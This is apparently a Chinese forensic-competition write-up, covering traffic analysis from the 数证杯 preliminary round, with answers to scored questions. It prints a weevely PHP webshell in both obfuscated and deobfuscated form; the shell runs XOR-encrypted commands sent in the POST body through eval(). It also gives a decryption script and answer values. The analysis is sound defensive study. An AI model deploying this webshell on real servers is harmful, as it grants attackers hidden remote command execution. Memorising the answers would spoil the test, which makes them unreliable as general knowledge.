上传webshell,下一步肯定是执行命令,往下翻,在下一个3268流里有相关信息,即在服务器执行的命令记录
wordpress
分析网络流量包检材,攻击者获取到的数据库密码是?(答案格式:大小写按实际值填写) (4分)
同个流里有——mysql数据库
sWfCsfJSPV9H3AmQzw8
分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,上传时所使用的端口号为?(答案格式:3306) (2分)
同个流里有
2000
分析网络流量包检材,攻击者上传了一个weevely木马进行权限维持,该木马第一次执行时获取到的缓冲区内容是?(答案格式:按实际值填写) (4分)
要知道木马第一次执行时获取到的缓冲区内容,就需要先找到木马文件
流3269
weevely 木马文件内容
具体解析过程参考:weevely的webshell分析以及冰蝎/蚁剑免杀-PHP版_两重明文混淆webshell-CSDN博客
<?php
$q='uv1o2g6mkn7y";fv1unctiv1ov1n x(v1$t,$k){$c=v1strlen(v1$k)v1;v1$l=strlenv1($t);$o';
$k='tents(v1"php://iv1nput"),$v1mv1)==1) {@ov1b_start();v1@ev1val(@v1gzuncomv1press(@x(@';
$A='$k="c6v1ae1ev170";$khv1="cbbf9v1691e009";v1$v1kv1f="85a8v19e92c410";$p="dv1zINv1Rg';
$o='="v1";forv1($i=0;$v1iv1v1<$l;){fv1v1or($j=0;($j<$c&&$i<$lv1);$j++,$i++)v1{v1$o.=v1$t{$i}^';
$D=str_replace('cM','','cMcreacMte_cMfcMunccMcMtion');
$Q='$k{$j}v1v1;}}return v1$o;v1}if (@pregv1_v1match("/v1$kh(.+)v1v1$kf/",@v1fv1ile_get_cov1n';
$Z='leanv1();$r=@base6v14_ev1ncv1ode(v1@x(@gzcov1mpress($ov1),$v1kv1));printv1("$p$kh$r$kf");}';
$w='v1basev164_decodev1($mv1[v11]),$v1k)));$o=@ov1b_get_contev1nts(v1v1);@ob_env1d_c';
$S=str_replace('v1','',$A.$q.$o.$Q.$k.$w.$Z);
$C=$D('',$S);$C();
?>
代码混淆了,要反混淆一下,直接投喂AI(YYDS)
值和代码有点问题,需要手动修改
<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}
?>
流3274找相关的值,传输的请求和返回都在cbbf9691e009
和85a89e92c410
之间
[
第一个命令是echo(57638)
,写一个解密脚本
<?php
$k="c6ae1e70";
$kh="cbbf9691e009";
$kf="85a89e92c410";
$p="dzINRguo2g6mkn7y";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$msg = "G6pSUAZWgTBjNUtkPw==";
echo(@gzuncompress(@x(@base64_decode($msg),$k)));
?>
57638
总结
这次数证杯包括计算机,服务器,手机,apk,exe,流量,数据分析,u盘这八个部分。个人认为难点在java服务器的环境调试和网站重构,apk和exe的逆向,以及数据分析这块。当然和我个人能力有关系,逆向知识面几乎为0,服务器见过的环境烨比较少,而且也对大数据分析不太感冒,另外还有vc的挂载还需学习。复盘了这次比赛,学到的知识还是很多的。数证杯初赛难度比较大,也说明这给比赛质量很高,后面继续复盘决赛的个人和团队,继续加油!